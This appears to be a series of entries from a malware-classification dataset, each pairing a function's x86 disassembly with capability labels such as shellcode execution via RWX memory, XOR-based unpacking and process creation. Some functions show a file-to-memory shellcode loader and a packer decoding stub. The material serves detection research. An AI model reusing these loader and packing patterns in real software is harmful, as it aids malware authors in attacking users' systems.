joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433626
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x24
push ebx
mov ebx, ecx
push ebp
mov edx, dword [ebx + 0x3c]
push esi
mov ecx, dword [edx]
push edi
mov dword [esp + 0x2c], ebx
call fcn.0042f5cc
movzx ebp, byte [ebx + 5]
mov esi, dword [ebx + 0x40]
movzx edi, word [ebx + 0xc]
movzx ecx, byte [esi + ebp + 5]
mov dword [esp + 0x14], eax
movzx eax, word [ebx + 0x10]
mov ebx, dword [edx + 0x28]
mov dword [esp + 0x28], eax
movzx eax, byte [esi + ebp + 6]
shl ecx, 8
or ecx, eax
mov eax, ebx
sub eax, ecx
push eax
lea eax, [ecx + esi]
push eax
mov eax, dword [esp + 0x1c]
add eax, ecx
push eax
mov dword [esp + 0x28], ebx
call 0x3ea984
mov ecx, dword [esp + 0x34]
and dword [esp + 0x2c], 0
mov eax, ebx
add eax, 0xfffffffc
add esp, 0xc
lea edx, [edi + ecx*2]
mov dword [esp + 0x18], edx
mov dword [esp + 0x30], eax
test ecx, ecx
jle 0x433731
lea ecx, [edi + esi]
mov dword [esp + 0x24], ecx
movzx edi, byte [ecx]
movzx eax, byte [ecx + 1]
shl edi, 8
or edi, eax
cmp edi, edx
jl 0x43377d
cmp edi, dword [esp + 0x30]
jg 0x43377d
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x2c]
add eax, edi
mov edx, eax
call fcn.0043351b
movzx ecx, ax
sub ebx, ecx
cmp ebx, dword [esp + 0x18]
jl 0x43376c
lea eax, [ecx + edi]
cmp eax, dword [esp + 0x1c]
jg 0x43376c
mov eax, dword [esp + 0x14]
push ecx
add eax, edi
push eax
lea eax, [ebx + esi]
push eax
call 0x3ea984
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x24]
mov eax, ebx
sar eax, 8
mov byte [ecx], al
mov eax, dword [esp + 0x2c]
add esp, 0xc
inc eax
mov byte [ecx + 1], bl
add ecx, 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], ecx
cmp eax, dword [esp + 0x28]
jl 0x4336aa
mov eax, ebx
sar eax, 8
mov byte [esi + ebp + 6], bl
mov byte [esi + ebp + 5], al
xor eax, eax
sub ebx, edx
push ebx
push eax
mov word [esi + ebp + 1], ax
mov byte [esi + ebp + 7], al
inc esp
pop es
mov ecx, 0xb60c
Function at 0x43b5e6
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebx, ecx
push esi
cmp dword [ebx + 4], 0
mov ecx, dword [ebx]
push edi
mov esi, edx
je 0x43b70c
cmp byte [ecx + 0x1e], 0
jne 0x43b70c
test esi, esi
jns 0x43b60f
mov esi, dword [ebx + 0x1c]
dec esi
imul esi, esi, 0x14
add esi, dword [ebx + 4]
movsx edx, byte [esi + 1]
push dword [esi + 0x10]
call fcn.0043b481
mov eax, dword [esp + 0x28]
pop ecx
xor ecx, ecx
mov dword [esi + 0x10], ecx
cmp eax, 0xfffffff2
jne 0x43b640
mov eax, dword [esp + 0x20]
mov dword [esi + 0x10], eax
mov byte [esi + 1], 0xf2
jmp 0x43b724
mov edi, dword [esp + 0x20]
test edi, edi
jne 0x43b653
mov dword [esi + 0x10], ecx
mov byte [esi + 1], cl
jmp 0x43b724
cmp eax, 0xfffffffa
jne 0x43b6bd
movzx eax, word [edi + 6]
mov dword [esp + 0x18], eax
imul eax, eax, 5
add eax, 0xc
mov edx, eax
xor ecx, ecx
mov dword [esp + 0x14], eax
call fcn.0042874b
mov ebp, eax
mov dword [esi + 0x10], ebp
test ebp, ebp
je 0x43b6b1
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
sub eax, ebx
push eax
push edi
push ebp
call 0x3ea984
mov ecx, dword [ebp + 8]
add esp, 0xc
test ecx, ecx
je 0x43b6c5
push ebx
lea eax, [ebx*4 + 0xc]
add eax, ebp
push ecx
push eax
mov dword [ebp + 8], eax
call 0x3ea984
add esp, 0xc
jmp 0x43b6c5
mov eax, dword [ebx]
mov byte [eax + 0x1e], 1
mov byte [esi + 1], 0
jmp 0x43b724
cmp eax, 0xfffffff0
jne 0x43b6cb
mov dword [esi + 0x10], edi
mov byte [esi + 1], 0xfa
jmp 0x43b724
cmp eax, 0xfffffff6
jne 0x43b6e4
mov dword [esi + 0x10], edi
mov byte [esi + 1], al
mov ecx, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
jmp 0x45d6ec
test eax, eax
jns 0x43b6f0
mov dword [esi + 0x10], edi
mov byte [esi + 1], al
jmp 0x43b724
jne 0x43b6f9
mov ecx, edi
call fcn.0042a0a1
mov ecx, dword [ebx]
push eax
mov edx, edi
call fcn.004288a4
mov dword [esi + 0x10], eax
mov byte [esi + 1], 0xff
jmp 0x43b723
mov edx, dword [esp + 0x24]
cmp edx, 0xfffffffa
je 0x43b724
cmp edx, 0xfffffff6
je 0x43b724
push dword [esp + 0x20]
call fcn.0043b481
invalid
pop ecx
pop edi
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x5381319a
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x5fcc54f6
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x403af0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
add eax, 8
push eax
push 0
mov ecx, dword [ebp - 8]
push ecx
push 0x403b50
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.0040a5de
add esp, 0x18
mov ecx, dword [ebp - 8]
mov dword [ecx + 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00404610
add esp, 4
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
neg eax
sbb eax, eax
not eax
and eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8

Function at 0x404670
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x4193b0]
xor eax, ebp
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x214], eax
push 0
push 0
lea eax, [ebp - 4]
push eax
push 0x400
mov ecx, dword [ebp - 0x214]
push ecx
push 0
push 0x1100
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x214]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x415608
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push str.Error
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x404710
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 0x14], eax
push 0x41564c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x41a2e4], eax
push str.IsWow64Process
mov eax, dword [0x41a2e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40475a
push 0x41a2e8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 0xc]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DefWindowProcW]
push 4
call fcn.00405060
add esp, 4
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
mov ecx, 0x41a2f4
call fcn.004052a0
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 4], eax
cmp dword [ebp - 0x10], 2
jge 0x404826
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push 0x415678
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
jne 0x4047d8
push str.drown.dat
call fcn.00404670
add esp, 4
push 0
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x1c], eax
push 0x40
push 0x1000
mov ecx, dword [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x18], eax
push 0
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
push eax
call eax
ret
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
call fcn.00404860
add esp, 8
mov dword [ebp - 8], eax
mov ecx, 0x41a2f4
call fcn.004053f0
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x406860
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
mov eax, dword [0x4193b0]
xor eax, ebp
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x454], ecx
call fcn.004061d0
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x2c]
call fcn.004092e0
mov eax, dword [ebp - 0x454]
push eax
lea ecx, [ebp - 0x18]
call fcn.00406b50
lea ecx, [ebp - 0x438]
call fcn.004092e0
push 0x400
mov ecx, dword [ebp + 8]
push ecx
call fcn.00406230
add esp, 8
mov dword [ebp - 8], eax
push 2
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4068de
call fcn.00406240
mov dword [ebp - 0x444], eax
jmp 0x406a33
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 0
jne 0x40690f
call fcn.00406240
mov dword [ebp - 0x444], eax
jmp 0x406a33
mov eax, dword [ebp - 0x440]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 0
jne 0x40693f
call fcn.00406240
mov dword [ebp - 0x444], eax
jmp 0x406a33
mov edx, dword [ebp - 0x440]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x448]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x1c]
add edx, 1
cmp edx, dword [ebp - 0x1c]
jae 0x40698f
mov dword [ebp - 0x44c], 0x8007000e
lea ecx, [ebp - 0x438]
call fcn.00409670
lea ecx, [ebp - 0x2c]
call fcn.00409300
mov eax, dword [ebp - 0x44c]
jmp 0x406a68
mov eax, dword [ebp - 0x1c]
add eax, 1
push eax
lea ecx, [ebp - 0x438]
call fcn.00409610
lea ecx, [ebp - 0x438]
call fcn.00401080
test eax, eax
jne 0x4069bc
mov dword [ebp - 0x444], 0x8007000e
jmp 0x406a33
mov ecx, dword [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x438]
call fcn.00401080
push eax
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0xc]
push eax
push 0
call fcn.004061d0
push eax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 0
jne 0x4069fe
call fcn.00406240
mov dword [ebp - 0x444], eax
jmp 0x406a33
lea ecx, [ebp - 0x438]
call fcn.00401080
xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov word [eax + edx*2], cx
mov eax, dword [ebp + 0x14]
push eax
lea ecx, [ebp - 0x438]
call fcn.00401080
push eax
lea ecx, [ebp - 0x18]
call fcn.00406b80
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x10], 0
je 0x406a43
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [ebp - 0x444]
mov dword [ebp - 0x450], edx
lea ecx, [ebp - 0x438]
call fcn.00409670
lea ecx, [ebp - 0x2c]
call fcn.00409300
mov eax, dword [ebp - 0x450]
mov ecx, dword [ebp - 0x30]
xor ecx, ebp
call fcn.0040a699
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4083a0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x4193b0]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x230], ecx
lea ecx, [ebp - 0x14]
call fcn.00408170
mov eax, dword [ebp - 0x230]
mov ecx, dword [eax + 4]
or ecx, 0x2001f
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x230]
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x14]
call fcn.00408340
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40840b
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x224], edx
lea ecx, [ebp - 0x14]
call fcn.004081a0
mov eax, dword [ebp - 0x224]
jmp 0x40849c
mov dword [ebp - 4], 0x100
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x220]
push edx
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x408471
lea ecx, [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x14]
call fcn.004083a0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x408468
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x228], edx
lea ecx, [ebp - 0x14]
call fcn.004081a0
mov eax, dword [ebp - 0x228]
jmp 0x40849c
mov dword [ebp - 4], 0x100
jmp 0x408412
lea ecx, [ebp - 0x14]
call fcn.00408280
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x230]
call fcn.00408220
mov dword [ebp - 0x22c], eax
lea ecx, [ebp - 0x14]
call fcn.004081a0
mov eax, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0040a699
mov esp, ebp
pop ebp
ret 4
Function at 0x408a00
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
xor eax, eax
jne 0x408a09
xor ecx, ecx
jne 0x408a09
xor edx, edx
cmp dword [ebp + 0xc], 0
setne dl
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
jne 0x408a2a
mov eax, 0xd
jmp 0x408a85
xor eax, eax
jne 0x408a11
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 1
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax*2]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2]
mov dword [ebp - 4], edx
cmp dword [ebp - 0xc], 1
jne 0x408a3b
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 7
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esp, ebp
pop ebp
ret 8

Function at 0x409e97
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x41a3e0], 0
push esi
jne 0x409e0a
call fcn.00409d30
test eax, eax
je 0x409e4d
mov eax, dword [0x41a3e0]
cmp eax, 1
jne 0x409e2b
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x409e4d
pop esi
ret
push eax
call dword [0x41a3e8]
test eax, eax
jne 0x409e95
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x409e51
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x41a3e0]
call dword [0x41a3e8]
mov edi, eax
test edi, edi
je 0x409e76
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x409e92
mov edi, esi
add esi, 0xff0
push edi
push dword [0x41a3e0]
call dword [0x41a3e4]
add edi, 0x10
cmp edi, esi
jb 0x409e7e
mov eax, edi
pop edi
pop esi
ret
jmp 0x409df7

Function at 0x40a699
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4193b0]
jne 0x40a6a3
repz ret
jmp fcn.0040e875
Function at 0x41018d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040b326
and dword [ebp - 4], 0
cmp dword [0x41ae84], 0
mov ebx, eax
jne 0x41023e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4102ef
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4102ef
push eax
call fcn.0040b2b4
mov dword [esp], 0x416a60
push edi
mov dword [0x41ae84], eax
call esi
push eax
call fcn.0040b2b4
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x41ae88], eax
call esi
push eax
call fcn.0040b2b4
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x41ae8c], eax
call esi
push eax
call fcn.0040b2b4
pop ecx
mov dword [0x41ae94], eax
test eax, eax
je 0x41023e
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040b2b4
pop ecx
mov dword [0x41ae90], eax
mov eax, dword [0x41ae90]
cmp eax, ebx
je 0x410296
cmp dword [0x41ae94], ebx
je 0x410296
push eax
call fcn.0040b32f
push dword [0x41ae94]
mov esi, eax
call fcn.0040b32f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x410296
test edi, edi
je 0x410296
call esi
test eax, eax
je 0x41028d
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41028d
test byte [ebp - 0xc], 1
jne 0x410296
or dword [ebp + 0x10], 0x200000
jmp 0x4102cf
mov eax, dword [0x41ae88]
cmp eax, ebx
je 0x4102cf
push eax
call fcn.0040b32f
pop ecx
test eax, eax
je 0x4102cf
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4102cf
mov eax, dword [0x41ae8c]
cmp eax, ebx
je 0x4102cf
push eax
call fcn.0040b32f
pop ecx
test eax, eax
je 0x4102cf
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41ae84]
call fcn.0040b32f
pop ecx
test eax, eax
je 0x4102ef
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4102f1
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4279e0
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
test ebx, ebx
jle 0x4279f4
call fcn.00427960
xor byte [esi + edi], al
inc esi
cmp esi, ebx
jl 0x4279e7
pop esi
cmp ebx, 0x2d
jne 0x427a0e
mov dword [0x2bd46e8], 0xa62e7790
mov dword [0x2bd46ec], 0xffffffff
ret

Function at 0x427a10
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
mov eax, dword [0x42c004]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [0x42d200]
push ebx
mov ebx, dword [0x2bd46dc]
push edi
mov edi, dword [0x2bd225c]
call fcn.004279b0
cmp dword [0x2bd46dc], 0x2f
jne 0x427a7d
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call fcn.004279e0
mov ecx, dword [esp + 0x24]
pop edi
pop ebx
xor ecx, esp
call fcn.004010e8
add esp, 0x24
ret
Function at 0x4051ed
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax]
test eax, eax
jle 0x405251
add eax, 8
mov edi, eax
mov ebx, edi
push edi
xor al, al
pop esi
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov edi, eax
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x40523a
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x405229
xor ecx, eax
xor edx, ebx
dec edi
jne 0x40521a
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x42b740
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4bf62b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004b3d8a
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x42b7c2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004b176f
mov eax, dword [eax]
push 0x555e6c
push eax
call fcn.004a3334
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004b4015
test bl, bl
je 0x42b7c2
push 0x555e6c
lea ecx, [esp + 0xc]
call fcn.004b43a5
push 0x555e78
lea ecx, [esp + 0xc]
call fcn.004b43a5
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x42b7fe
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004b4015
jmp 0x42b8c9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x42b882
lea edx, [esp + 0x7c]
push 0x555e74
push edx
call fcn.004a3334
add esp, 8
test eax, eax
je 0x42b882
lea eax, [esp + 0x7c]
push 0x555e70
push eax
call fcn.004a3334
add esp, 8
test eax, eax
je 0x42b882
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x42b812
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004b4015
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x42cb40
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x42cba2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x42cbb0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4bf78b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x566fa0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x42cce8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x42cc16
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004b4015
xor eax, eax
jmp 0x42cd5f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004b4152
push esi
lea ecx, [esp + 0xc]
call fcn.004b43e1
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x555ebc
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x42cd3d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0042cb40
test eax, eax
jne 0x42cd3d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0042cb40
test eax, eax
jne 0x42cd3d
lea eax, [esp + 0x14]
push 0x555e98
push eax
call fcn.004a4480
mov esi, eax
add esp, 8
test esi, esi
jne 0x42cd1c
lea ecx, [esp + 0x14]
push 0x555e94
push ecx
call fcn.004a4400
mov esi, eax
add esp, 8
test esi, esi
jne 0x42cd1c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x42cd1f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004b4102
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x42cc2e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004b4015
xor eax, eax
jmp 0x42cd5f
mov byte [esi], 0
push 0x555e90
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004b4015
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4